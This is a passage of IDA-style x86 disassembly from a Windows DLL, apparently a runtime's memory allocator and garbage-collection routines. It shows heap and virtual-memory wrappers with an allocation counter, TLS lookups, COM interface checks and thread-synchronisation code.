dd offset loc_69B2D3D4
; =============== S U B R O U T I N E =======================================
sub_69B2D3FC proc near ; CODE XREF: sub_69B2D39C+20p
; .text:69B2D42Cj ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_69B2D40F
push eax ; BSTR
call SysFreeString
and dword ptr [esi], 0
loc_69B2D40F: ; CODE XREF: sub_69B2D3FC+7j
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_69B2D426
push dword ptr [eax+8] ; UINT
mov ecx, [eax+0Ch]
push ecx ; OLECHAR *
call SysAllocStringLen
mov [esi], eax
loc_69B2D426: ; CODE XREF: sub_69B2D3FC+19j
mov eax, esi
pop esi
retn 4
sub_69B2D3FC endp
; ---------------------------------------------------------------------------
jmp short sub_69B2D3FC
; =============== S U B R O U T I N E =======================================
sub_69B2D42E proc near ; CODE XREF: sub_69B1129D+12448p
; sub_69B2D461+2Bp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
push esi
mov edi, offset dword_69B9B258
push edi
call dword_69B9294C ; InterlockedExchangeAdd
add eax, esi
cmp eax, dword_69B9293C
jg short loc_69B2D450
xor eax, eax
inc eax
jmp short loc_69B2D45C
; ---------------------------------------------------------------------------
loc_69B2D450: ; CODE XREF: sub_69B2D42E+1Bj
neg esi
push esi
push edi
call dword_69B9294C ; InterlockedExchangeAdd
xor eax, eax
loc_69B2D45C: ; CODE XREF: sub_69B2D42E+20j
pop edi
pop esi
retn 4
sub_69B2D42E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B2D461(HANDLE hHeap, DWORD dwFlags, DWORD dwBytes)
sub_69B2D461 proc near ; CODE XREF: sub_69B17F72:loc_69B11C64p
; sub_69B1AC42:loc_69B1AD43p ...
hHeap = dword ptr 8
dwFlags = dword ptr 0Ch
dwBytes = dword ptr 10h
push ebp
mov ebp, esp
push esi
push [ebp+dwBytes] ; dwBytes
push [ebp+dwFlags] ; dwFlags
push [ebp+hHeap] ; hHeap
call ds:HeapAlloc
mov esi, eax
test esi, esi
jz short loc_69B2D4A4
push esi ; lpMem
push 0 ; dwFlags
push [ebp+hHeap] ; hHeap
call ds:HeapSize
cmp eax, 0FFFFFFFFh
jz short loc_69B2D495
push eax
call sub_69B2D42E
test eax, eax
jnz short loc_69B2D4A4
loc_69B2D495: ; CODE XREF: sub_69B2D461+28j
push esi ; lpMem
push [ebp+dwFlags] ; dwFlags
push [ebp+hHeap] ; hHeap
call ds:HeapFree
xor esi, esi
loc_69B2D4A4: ; CODE XREF: sub_69B2D461+17j
; sub_69B2D461+32j
mov eax, esi
pop esi
pop ebp
retn 0Ch
sub_69B2D461 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_69B2D4AB(HANDLE hHeap, int, LPCVOID lpMem)
sub_69B2D4AB proc near ; CODE XREF: sub_69B182B8:loc_69B1BC73p
; sub_69B1E5FC:loc_69B1E625p ...
hHeap = dword ptr 8
lpMem = dword ptr 10h
push ebp
mov ebp, esp
push [ebp+lpMem] ; lpMem
push 0 ; dwFlags
push [ebp+hHeap] ; hHeap
call ds:HeapSize
cmp eax, 0FFFFFFFFh
jz short loc_69B2D4CF
neg eax
push eax
push offset dword_69B9B258
call dword_69B9294C ; InterlockedExchangeAdd
loc_69B2D4CF: ; CODE XREF: sub_69B2D4AB+14j
pop ebp
jmp ds:HeapFree
sub_69B2D4AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B2D4D6(LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD flProtect)
sub_69B2D4D6 proc near ; CODE XREF: sub_69B1DC97:loc_69B1DCDCp
; sub_69B19D0A:loc_69B1E7C8p ...
lpAddress = dword ptr 8
dwSize = dword ptr 0Ch
flAllocationType= dword ptr 10h
flProtect = dword ptr 14h
push ebp
mov ebp, esp
push esi
push [ebp+flProtect] ; flProtect
push [ebp+flAllocationType] ; flAllocationType
push [ebp+dwSize] ; dwSize
push [ebp+lpAddress] ; lpAddress
call ds:VirtualAlloc ; VirtualAlloc
mov esi, eax
test esi, esi
jz short loc_69B2D520
push [ebp+dwSize]
call sub_69B2D42E
test eax, eax
jnz short loc_69B2D520
cmp [ebp+flAllocationType], 2000h
jnz short loc_69B2D50F
push 8000h
push eax
jmp short loc_69B2D517
; ---------------------------------------------------------------------------
loc_69B2D50F: ; CODE XREF: sub_69B2D4D6+2Fj
push 4000h ; dwFreeType
push [ebp+dwSize] ; dwSize
loc_69B2D517: ; CODE XREF: sub_69B2D4D6+37j
push esi ; lpAddress
call ds:VirtualFree ; VirtualFree
xor esi, esi
loc_69B2D520: ; CODE XREF: sub_69B2D4D6+1Aj
; sub_69B2D4D6+26j
mov eax, esi
pop esi
pop ebp
retn 10h
sub_69B2D4D6 endp
; =============== S U B R O U T I N E =======================================
sub_69B2D527 proc near ; CODE XREF: sub_69B1A48F:loc_69B1A483p
; sub_69B23A13:loc_69B23A4Bp ...
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
neg eax
push eax
push offset dword_69B9B258
call dword_69B9294C ; InterlockedExchangeAdd
jmp ds:VirtualFree
sub_69B2D527 endp
; =============== S U B R O U T I N E =======================================
sub_69B2D53F proc near ; DATA XREF: sub_69B1CA7C:loc_69B22CE9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_0]
mov edx, [esp+arg_4]
mov eax, [esp+arg_8]
cmpxchg [ecx], edx
retn 0Ch
sub_69B2D53F endp
; =============== S U B R O U T I N E =======================================
sub_69B2D551 proc near ; DATA XREF: sub_69B1CA7C+6277o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
mov eax, [esp+arg_4]
xadd [ecx], eax
retn 8
sub_69B2D551 endp
; =============== S U B R O U T I N E =======================================
sub_69B2D55F proc near ; DATA XREF: .text:loc_69B2D56Fo
push 0
push 3
push hModule
call DllMain
retn
sub_69B2D55F endp
; ---------------------------------------------------------------------------
loc_69B2D56F: ; DATA XREF: sub_69B1CA7C+6230o
push offset sub_69B2D55F
push dword ptr [esp+0Ch]
push dword ptr [esp+0Ch]
call dword_69B9297C
retn 8
; =============== S U B R O U T I N E =======================================
sub_69B2D585 proc near ; CODE XREF: sub_69B1CC44+600Bp
; sub_69B1CC44+6032p
push esi
mov esi, ecx
push dword ptr [esi+10h] ; hObject
call ds:CloseHandle ; CloseHandle
mov ecx, esi
pop esi
jmp sub_69B1CCCB
sub_69B2D585 endp
; =============== S U B R O U T I N E =======================================
sub_69B2D599 proc near ; CODE XREF: sub_69B23E3C+6p
; sub_69B23F51+6p ...
mov eax, [ecx]
mov edx, [ecx+4]
mov [eax+2Ch], edx
and dword ptr [ecx], 0
retn
sub_69B2D599 endp
; =============== S U B R O U T I N E =======================================
sub_69B2D5A5 proc near ; CODE XREF: DllMain+6DAEp
push esi
push dwTlsIndex
call dword_69B92970
mov esi, eax
test esi, esi
jz short loc_69B2D5FF
cmp dword_69B9296C, 0
jz short loc_69B2D5ED
lea eax, [esi+45Ch]
push eax
call sub_69B17230
lea eax, [esi+460h]
push eax
call sub_69B17230
inc dword ptr [esi+30h]
push esi
call sub_69B1E818
push offset dword_69B92964 ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
loc_69B2D5ED: ; CODE XREF: sub_69B2D5A5+1Aj
push 0
mov byte ptr [esi+44h], 1
push dwTlsIndex
call dword_69B92974
loc_69B2D5FF: ; CODE XREF: sub_69B2D5A5+11j
pop esi
retn
sub_69B2D5A5 endp
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_69B2D601(LPVOID lpMem, char)
sub_69B2D601 proc near ; CODE XREF: sub_69B1E38F+4C5Ap
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B12110
test [esp+4+arg_0], 1
jz short loc_69B2D616
push esi ; lpMem
call sub_69B1E5FC
loc_69B2D616: ; CODE XREF: sub_69B2D601+Dj
mov eax, esi
pop esi
retn 4
sub_69B2D601 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B2D61C(HANDLE hThread, LPCONTEXT lpContext)
sub_69B2D61C proc near ; CODE XREF: sub_69B18CB3+A475p
hThread = dword ptr 4
lpContext = dword ptr 8
push [esp+lpContext] ; lpContext
push [esp+4+hThread] ; hThread
call ds:GetThreadContext ; GetThreadContext
test eax, eax
setnz al
retn 8
sub_69B2D61C endp
; =============== S U B R O U T I N E =======================================
sub_69B2D632 proc near ; DATA XREF: .text:69B121A4o
; .text:69B121ECo ...
mov eax, offset dword_69B18894
retn
sub_69B2D632 endp
; =============== S U B R O U T I N E =======================================
sub_69B2D638 proc near ; CODE XREF: sub_69B17355+BD28p
; sub_69B2D6DB+11p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
mov eax, [esi+24h]
cmp eax, ecx
jnz short loc_69B2D652
mov edx, [esp+4+arg_0]
mov eax, edx
and eax, 0FFFFFFF9h
mov [esi+24h], eax
jmp short loc_69B2D66E
; ---------------------------------------------------------------------------
loc_69B2D652: ; CODE XREF: sub_69B2D638+Aj
push edi
jmp short loc_69B2D65A
; ---------------------------------------------------------------------------
loc_69B2D655: ; CODE XREF: sub_69B2D638+2Cj
mov eax, edx
and eax, 0FFFFFFF9h
loc_69B2D65A: ; CODE XREF: sub_69B2D638+1Bj
mov edx, [eax+4]
mov edi, edx
and edi, 0FFFFFFF9h
cmp edi, ecx
jnz short loc_69B2D655
mov edx, [esp+8+arg_0]
mov [eax+4], edx
pop edi
loc_69B2D66E: ; CODE XREF: sub_69B2D638+18j
and edx, 2
or edx, 0Dh
mov [ecx+4], edx
dec dword ptr [esi+28h]
pop esi
retn 8
sub_69B2D638 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2D67E proc near ; CODE XREF: .text:69B60B9Ep
; sub_69B6547Bj ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
push edi
push 4
pop ecx
mov edi, offset stru_69B1CA6C
xor eax, eax
repe cmpsd
jz short loc_69B2D6B2
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B25ED4
xor eax, eax
repe cmpsd
jz short loc_69B2D6B2
mov eax, [ebp+arg_8]
and dword ptr [eax], 0
mov eax, 80004002h
jmp short loc_69B2D6C2
; ---------------------------------------------------------------------------
loc_69B2D6B2: ; CODE XREF: sub_69B2D67E+14j
; sub_69B2D67E+25j
mov esi, [ebp+arg_0]
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [ebp+arg_8]
mov [eax], esi
xor eax, eax
loc_69B2D6C2: ; CODE XREF: sub_69B2D67E+32j
pop edi
pop esi
pop ebp
retn 0Ch
sub_69B2D67E endp
; =============== S U B R O U T I N E =======================================
sub_69B2D6C8 proc near ; DATA XREF: .text:69B1451Co
; .text:69B1607Co ...
mov eax, offset off_69B25E94
retn
sub_69B2D6C8 endp
; =============== S U B R O U T I N E =======================================
sub_69B2D6CE proc near ; CODE XREF: sub_69B3D612+Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword_69B929B8, eax
retn 4
sub_69B2D6CE endp
; =============== S U B R O U T I N E =======================================
sub_69B2D6DB proc near ; CODE XREF: sub_69B2DBD4+Bj
; sub_69B3D622+44p ...
push esi
mov esi, ecx
mov eax, [esi+0Ch]
test eax, eax
jz short loc_69B2D6F5
mov ecx, [esi+14h]
push eax
push dword ptr [ecx+4]
call sub_69B2D638
and dword ptr [esi+0Ch], 0
loc_69B2D6F5: ; CODE XREF: sub_69B2D6DB+8j
pop esi
retn
sub_69B2D6DB endp
; =============== S U B R O U T I N E =======================================
sub_69B2D6F7 proc near ; CODE XREF: sub_69B183E6+1Fp
arg_0 = dword ptr 4
inc dword_69B929B0
push esi
mov esi, [esp+4+arg_0]
push edi
add esi, 4
push esi ; Target
mov edi, ecx
call sub_69B18980
mov [esi], edi
pop edi
and eax, 0FFFFFFF9h
pop esi
retn 4
sub_69B2D6F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2D718 proc near ; CODE XREF: sub_69B2D775+1Ap
; sub_69B2D775+3Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
mov ecx, ebx
call sub_69B18F5A
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_69B2D732
xor al, al
jmp short loc_69B2D76F
; ---------------------------------------------------------------------------
loc_69B2D732: ; CODE XREF: sub_69B2D718+14j
push edi
mov edi, esi
and edi, 0FFFFFFF9h
jmp short loc_69B2D757
; ---------------------------------------------------------------------------
loc_69B2D73A: ; CODE XREF: sub_69B2D718+42j
cmp edi, [ebp+arg_4]
jz short loc_69B2D769
mov ecx, edi
call sub_69B18F5A
cmp eax, 0FFFFFFFFh
mov [ebx+4], esi
jz short loc_69B2D76C
mov esi, eax
and eax, 0FFFFFFF9h
mov ebx, edi
mov edi, eax
loc_69B2D757: ; CODE XREF: sub_69B2D718+20j
cmp edi, [ebp+arg_8]
jnz short loc_69B2D73A
and esi, 2
or esi, [ebp+arg_C]
mov al, 1
mov [ebx+4], esi
jmp short loc_69B2D76E
; ---------------------------------------------------------------------------
loc_69B2D769: ; CODE XREF: sub_69B2D718+25j
mov [ebx+4], esi
loc_69B2D76C: ; CODE XREF: sub_69B2D718+34j
xor al, al
loc_69B2D76E: ; CODE XREF: sub_69B2D718+4Fj
pop edi
loc_69B2D76F: ; CODE XREF: sub_69B2D718+18j
pop esi
pop ebx
pop ebp
retn 10h
sub_69B2D718 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2D775 proc near ; CODE XREF: sub_69B1737D+BB7Ep
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
and esi, 0FFFFFFF9h
push esi
mov ebx, ecx
push ebx
push edi
push edi
mov [ebp+var_1], 0
call sub_69B2D718
test al, al
jnz short loc_69B2D7F8
mov ecx, dword_69B929E0
call sub_69B1808E
test al, al
jz short loc_69B2D81B
push esi
push ebx
push edi
add edi, 8
push edi
mov [ebp+var_1], 1
call sub_69B2D718
test al, al
jnz short loc_69B2D7F8
cmp dword ptr [esi], 0
mov edi, esi
jz short loc_69B2D7DB
loc_69B2D7C2: ; CODE XREF: sub_69B2D775+64j
mov ecx, edi
call sub_69B18F5A
cmp eax, 0FFFFFFFFh
jz short loc_69B2D810
mov [edi+4], eax
and eax, 0FFFFFFF9h
mov edi, eax
cmp dword ptr [edi], 0
jnz short loc_69B2D7C2
loc_69B2D7DB: ; CODE XREF: sub_69B2D775+4Bj
push esi
push ebx
push edi
push edi
call sub_69B2D718
test al, al
jnz short loc_69B2D7F8
push esi
push ebx
push edi
add edi, 8
push edi
call sub_69B2D718
test al, al
jz short loc_69B2D810
loc_69B2D7F8: ; CODE XREF: sub_69B2D775+21j
; sub_69B2D775+44j ...
mov eax, [ebp+arg_0]
and eax, 2
or eax, 9
dec dword_69B929B0
cmp [ebp+var_1], 0
mov [ebp+arg_0], eax
jz short loc_69B2D81B
loc_69B2D810: ; CODE XREF: sub_69B2D775+57j
; sub_69B2D775+81j
mov ecx, dword_69B929E0
mov eax, [ecx]
call dword ptr [eax+10h]
loc_69B2D81B: ; CODE XREF: sub_69B2D775+30j
; sub_69B2D775+99j
mov eax, [ebp+arg_0]
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B2D775 endp
; =============== S U B R O U T I N E =======================================
sub_69B2D825 proc near ; DATA XREF: .text:69B12194o
arg_0 = byte ptr 4
push esi
mov esi, ecx
mov dword ptr [esi], offset off_69B12188
call sub_69B18700
test [esp+4+arg_0], 1
jz short loc_69B2D840
push esi
call sub_69B1829F
loc_69B2D840: ; CODE XREF: sub_69B2D825+13j
mov eax, esi
pop esi
retn 4
sub_69B2D825 endp
; =============== S U B R O U T I N E =======================================
sub_69B2D846 proc near ; CODE XREF: sub_69B18CB3+A492p
; sub_69B18CB3+A4A4p
push 18h
push offset dword_69B2D948
call sub_69B19C5C
and dword ptr [ebp-4], 0
push 4
pop ebx
mov edi, [ebp+0Ch]
loc_69B2D85C: ; CODE XREF: sub_69B2D846+2Bj
; sub_69B2D846+2Fj ...
sub edi, ebx
mov [ebp+0Ch], edi
cmp edi, [ebp+8]
jb loc_69B2D938
mov eax, [edi]
mov [ebp-1Ch], eax
test eax, eax
jz short loc_69B2D85C
test al, 3
jnz short loc_69B2D85C
push dword ptr [ebp+14h]
lea ecx, [ebp-20h]
push ecx
push eax
call sub_69B2E49A
mov esi, eax
mov [ebp-24h], esi
test esi, esi
jz short loc_69B2D85C
cmp dword ptr [ebp-20h], 0FFFFFFFFh
jz short loc_69B2D8A3
test [ebp-20h], bl
jz short loc_69B2D8A3
cmp dword ptr [ebp+10h], 0
jz short loc_69B2D85C
or eax, 0FFFFFFFFh
jmp short loc_69B2D8AA
; ---------------------------------------------------------------------------
loc_69B2D8A3: ; CODE XREF: sub_69B2D846+4Bj
; sub_69B2D846+50j
mov ecx, esi
call sub_69B18F5A
loc_69B2D8AA: ; CODE XREF: sub_69B2D846+5Bj
mov [ebp-28h], eax
cmp eax, 0FFFFFFFFh
jnz short loc_69B2D8E0
mov eax, dword_69B92984
mov ecx, dword_69B92178
lea ecx, [eax+ecx*4]
mov eax, dword_69B929C4
cmp eax, ecx
jnz short loc_69B2D8D2
mov byte_69B92988, 1
jmp short loc_69B2D938
; ---------------------------------------------------------------------------
loc_69B2D8D2: ; CODE XREF: sub_69B2D846+81j
mov [eax], esi
add eax, ebx
mov dword_69B929C4, eax
jmp loc_69B2D85C
; ---------------------------------------------------------------------------
loc_69B2D8E0: ; CODE XREF: sub_69B2D846+6Aj
test al, 2
jnz short loc_69B2D90D
mov ecx, lpMem
mov edx, dword_69B92174
lea edx, [ecx+edx*4]
mov ecx, dword_69B9298C
cmp ecx, edx
jnb short loc_69B2D915
mov [ecx], esi
add ecx, ebx
mov dword_69B9298C, ecx
or eax, 2
mov [ebp-28h], eax
loc_69B2D90D: ; CODE XREF: sub_69B2D846+9Cj
mov [esi+4], eax
jmp loc_69B2D85C
; ---------------------------------------------------------------------------
loc_69B2D915: ; CODE XREF: sub_69B2D846+B5j
mov byte_69B92988, 1
mov [esi+4], eax
jmp short loc_69B2D938
; ---------------------------------------------------------------------------
loc_69B2D921: ; DATA XREF: .text:69B2D94Co
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
xor ecx, ecx
cmp eax, 0C00000FDh
setz cl
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_69B2D935: ; DATA XREF: .text:69B2D950o
mov esp, [ebp-18h]
loc_69B2D938: ; CODE XREF: sub_69B2D846+1Ej
; sub_69B2D846+8Aj ...
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn 10h
sub_69B2D846 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B2D948 dd 0FFFFFFFFh dd offset loc_69B2D921
dd offset loc_69B2D935
; ---------------------------------------------------------------------------
loc_69B2D954: ; DATA XREF: sub_69B2DB17+2Ao
push esi
call sub_69B19BB4
push 0FFFFFFFFh
push hObject
mov esi, eax
call ds:WaitForSingleObject ; WaitForSingleObject
mov eax, esi
pop esi
retn
; =============== S U B R O U T I N E =======================================
; int __fastcall sub_69B2D96E(LONG Value)
sub_69B2D96E proc near ; CODE XREF: sub_69B192E9+AB40p
; sub_69B19621+A91Dp
push esi
push edi
mov edi, ecx
lea esi, [edi+4]
push esi ; Target
call sub_69B18980
push edi ; Value
push offset Target ; Target
call ds:InterlockedExchange ; InterlockedExchange
pop edi
mov [esi], eax
pop esi
retn
sub_69B2D96E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B2DA65
loc_69B2D98C: ; CODE XREF: sub_69B2DA65+4j
; sub_69B2DA65+1Cj
push esi
mov esi, ecx
push dword ptr [esi+14h]
push 0
push dword ptr [esi+0Ch]
call sub_69B1E244
mov eax, [esi+0Ch]
mov eax, [eax+28h]
mov [esi+10h], eax
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_69B2DA65
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2D9A7 proc near ; CODE XREF: sub_69B18C0C+A6E0p
; sub_69B2DA88+63p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
cmp byte_69B929BD, 0
jz locret_69B2DA63
push edi
call sub_69B1B193
push dwTlsIndex
call dword_69B92970
mov edi, dword_69B92994
test edi, edi
mov dword_69B929A0, eax
mov eax, dword_69B929B0
mov dword_69B92944, offset sub_69B1E818
mov byte_69B929BD, 0
mov [ebp+var_4], eax
mov [ebp+var_8], offset dword_69B92994
jz short loc_69B2DA4D
push ebx
push esi
loc_69B2D9FC: ; CODE XREF: sub_69B2D9A7+A2j
mov ebx, [edi+0Ch]
mov esi, ebx
and esi, 0FFFFFFF9h
jmp short loc_69B2DA2E
; ---------------------------------------------------------------------------
loc_69B2DA06: ; CODE XREF: sub_69B2D9A7+89j
mov ebx, [esi+4]
dec dword_69B929B0
mov eax, [esi]
dec [ebp+var_4]
mov ecx, esi
call dword ptr [eax+34h]
mov eax, [esi]
mov ecx, esi
mov dword ptr [esi+4], 3
call dword ptr [eax+18h]
mov eax, ebx
and eax, 0FFFFFFF9h
mov esi, eax
loc_69B2DA2E: ; CODE XREF: sub_69B2D9A7+5Dj
cmp esi, edi
jnz short loc_69B2DA06
push [ebp+var_8]
mov [edi+0Ch], ebx
push edi
mov byte ptr [edi+18h], 0
call sub_69B1E38F
mov edi, [eax]
test edi, edi
mov [ebp+var_8], eax
jnz short loc_69B2D9FC
pop esi
pop ebx
loc_69B2DA4D: ; CODE XREF: sub_69B2D9A7+51j
mov eax, [ebp+var_4]
dec dword_69B929AC
and dword_69B929A0, 0
mov dword_69B929B4, eax
pop edi
locret_69B2DA63: ; CODE XREF: sub_69B2D9A7+Cj
leave
retn
sub_69B2D9A7 endp
; =============== S U B R O U T I N E =======================================
sub_69B2DA65 proc near ; CODE XREF: sub_69B2DBD4+3p
; sub_69B38A09+643p ...
; FUNCTION CHUNK AT 69B2D98C SIZE 0000001B BYTES
cmp dword ptr [ecx+18h], 0
jnz loc_69B2D98C
mov eax, [ecx+0Ch]
test eax, eax
jz short locret_69B2DA87
mov eax, [eax+28h]
sub eax, [ecx+10h]
cmp eax, 100h
ja loc_69B2D98C
locret_69B2DA87: ; CODE XREF: sub_69B2DA65+Fj
retn
sub_69B2DA65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B2DA88 proc near ; DATA XREF: sub_69B2DB17+34o
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
dec dword ptr [esi+30h]
push 0FFFFFFFFh ; dwMilliseconds
push hObject ; hHandle
call ds:WaitForSingleObject ; WaitForSingleObject
xor ebx, ebx
cmp [esi+30h], ebx
jnz short loc_69B2DB11
cmp [esi+20h], bl
jnz short loc_69B2DB11
cmp [esi+28h], ebx
jz short loc_69B2DABB
push ebx
push ebx
push esi
call sub_69B1E244
loc_69B2DABB: ; CODE XREF: sub_69B2DA88+29j
cmp [esi+19h], bl
jz short loc_69B2DB11
push dword_69B929E0
lea ecx, [ebp+var_4]
call sub_69B18E23
cmp [esi+19h], bl
jz short loc_69B2DB09
mov [esi+19h], bl
dec dword_69B9B25C
push esi
setz byte ptr [ebp+arg_0+3]
call sub_69B1B580
cmp byte ptr [ebp+arg_0+3], bl
jz short loc_69B2DB09
call sub_69B2D9A7
lea ecx, [ebp+var_4]
call sub_69B1900C
push 6
mov dword ptr [esi+30h], 1
call sub_69B18C0C
mov [esi+30h], ebx
loc_69B2DB09: ; CODE XREF: sub_69B2DA88+49j
; sub_69B2DA88+61j
lea ecx, [ebp+var_4]
call sub_69B1900C
loc_69B2DB11: ; CODE XREF: sub_69B2DA88+1Fj
; sub_69B2DA88+24j ...
pop esi
pop ebx
leave
retn 4
sub_69B2DA88 endp
; =============== S U B R O U T I N E =======================================
sub_69B2DB17 proc near ; CODE XREF: sub_69B18C0C+A6C6p
push esi
push dwTlsIndex
call dword_69B92970
push hObject ; hEvent
and dword_69B9B25C, 0
mov esi, eax
mov byte_69B929BD, 1
call ds:ResetEvent ; ResetEvent
push esi
mov dword_69B92948, offset loc_69B2D954
mov dword_69B92944, offset sub_69B2DA88
call sub_69B1B580
mov esi, dword_69B9295C
test esi, esi
mov eax, Data
mov dword_69B92994, esi
mov dword_69B92180, eax
jz short loc_69B2DBBC
push edi
loc_69B2DB75: ; CODE XREF: sub_69B2DB17+A2j
cmp byte ptr [esi+44h], 0
jz short loc_69B2DB81
push esi
call sub_69B1B580
loc_69B2DB81: ; CODE XREF: sub_69B2DB17+62j
lea edi, [esi+0Ch]
push edi ; Target
call sub_69B18980
push esi
call sub_69B11E80
cmp dword ptr [esi+30h], 0
mov [edi], eax
mov [esi+4], esi
mov byte ptr [esi+18h], 1
jz short loc_69B2DBB4
inc dword_69B9B25C
mov byte ptr [esi+19h], 1
mov eax, Data
add dword_69B92180, eax
loc_69B2DBB4: ; CODE XREF: sub_69B2DB17+86j
mov esi, [esi+14h]
test esi, esi
jnz short loc_69B2DB75
pop edi
loc_69B2DBBC: ; CODE XREF: sub_69B2DB17+5Bj
push hObject ; hEvent
mov dword_69B92948, offset sub_69B19BB4
call ds:SetEvent ; SetEvent
pop esi
retn
sub_69B2DB17 endp
; =============== S U B R O U T I N E =======================================
sub_69B2DBD4 proc near ; CODE XREF: sub_69B38A09+7A9p
; sub_69B3D622+83p ...
push esi
mov esi, ecx
call sub_69B2DA65
mov ecx, esi
pop esi
jmp sub_69B2D6DB
sub_69B2DBD4 endp
; =============== S U B R O U T I N E =======================================
sub_69B2DBE4 proc near ; CODE XREF: sub_69B19118+A1FEp
; sub_69B18169+B1C8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
and edx, 2
or edx, [eax+24h]
or edx, 4
mov [ecx+4], edx
inc dword ptr [eax+28h]
mov [eax+24h], ecx
cmp dword_69B9296C, 0
mov ecx, [eax+28h]
jnz short locret_69B2DC21
cmp ecx, 800h
jbe short locret_69B2DC21
cmp eax, dword_69B929A0
jz short locret_69B2DC21
push 8
call sub_69B18C0C
locret_69B2DC21: ; CODE XREF: sub_69B2DBE4+24j
; sub_69B2DBE4+2Cj ...
retn 8
sub_69B2DBE4 endp
; =============== S U B R O U T I N E =======================================
sub_69B2DC24 proc near ; CODE XREF: sub_69B2F610+7p
; sub_69B31521+7p ...
push esi
mov esi, ecx
call sub_69B1818F
mov dword ptr [esi], offset off_69B12188
push dwTlsIndex
call dword_69B92970
cmp dword ptr [eax+2Ch], 0
mov ecx, esi
push eax
jnz short loc_69B2DC50
push 0
call sub_69B2DBE4
jmp short loc_69B2DC55
; ---------------------------------------------------------------------------
loc_69B2DC50: ; CODE XREF: sub_69B2DC24+21j
call sub_69B19148
loc_69B2DC55: ; CODE XREF: sub_69B2DC24+2Aj
mov eax, esi
pop esi
retn 4
sub_69B2DC24 endp
; =============== S U B R O U T I N E =======================================
sub_69B2DC5B proc near ; CODE XREF: sub_69B38A09+4Ap
; sub_69B3D622+1Bp ...
arg_0 = dword ptr 4
push esi
push dwTlsIndex
mov esi, ecx
call dword_69B92970
mov [esi+0Ch], eax
xor ecx, ecx
lea eax, [esi+4]
mov [eax], ecx
and eax, 0FFFFFFFBh
mov [esi], ecx
mov [esi+14h], eax
mov dword ptr [eax+4], 4
push dword ptr [esi+0Ch]
push ecx
mov ecx, [esi+14h]
call sub_69B2DBE4
mov eax, [esi+0Ch]
mov eax, [eax+28h]
mov [esi+10h], eax
mov eax, [esp+4+arg_0]
mov [esi+18h], eax
mov eax, esi
pop esi
retn 4
sub_69B2DC5B endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B2DCA5(DWORD dwMilliseconds)
sub_69B2DCA5 proc near ; CODE XREF: sub_69B2DCDC+53p
; sub_69B2DCDC+74p ...
dwMilliseconds = dword ptr 4
push esi
push edi
mov esi, ecx
lea edi, [esi+24h]
push edi ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
cmp dword ptr [esi+14h], 0
jle short loc_69B2DCCE
push [esp+8+dwMilliseconds] ; dwMilliseconds
push dword ptr [esi+20h] ; hHandle
call ds:WaitForSingleObject ; WaitForSingleObject
test eax, eax
jz short loc_69B2DCD5
xor al, al
jmp short loc_69B2DCD7
; ---------------------------------------------------------------------------
loc_69B2DCCE: ; CODE XREF: sub_69B2DCA5+12j
push edi ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
loc_69B2DCD5: ; CODE XREF: sub_69B2DCA5+23j
mov al, 1
loc_69B2DCD7: ; CODE XREF: sub_69B2DCA5+27j
pop edi
pop esi
retn 4
sub_69B2DCA5 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B2DCDC(DWORD dwMilliseconds)
sub_69B2DCDC proc near ; CODE XREF: sub_69B18F8A+A473p
dwMilliseconds = dword ptr 4
push ebx
push ebp
mov ebx, ecx
lea ebp, [ebx+14h]
cmp dword ptr [ebp+0], 1
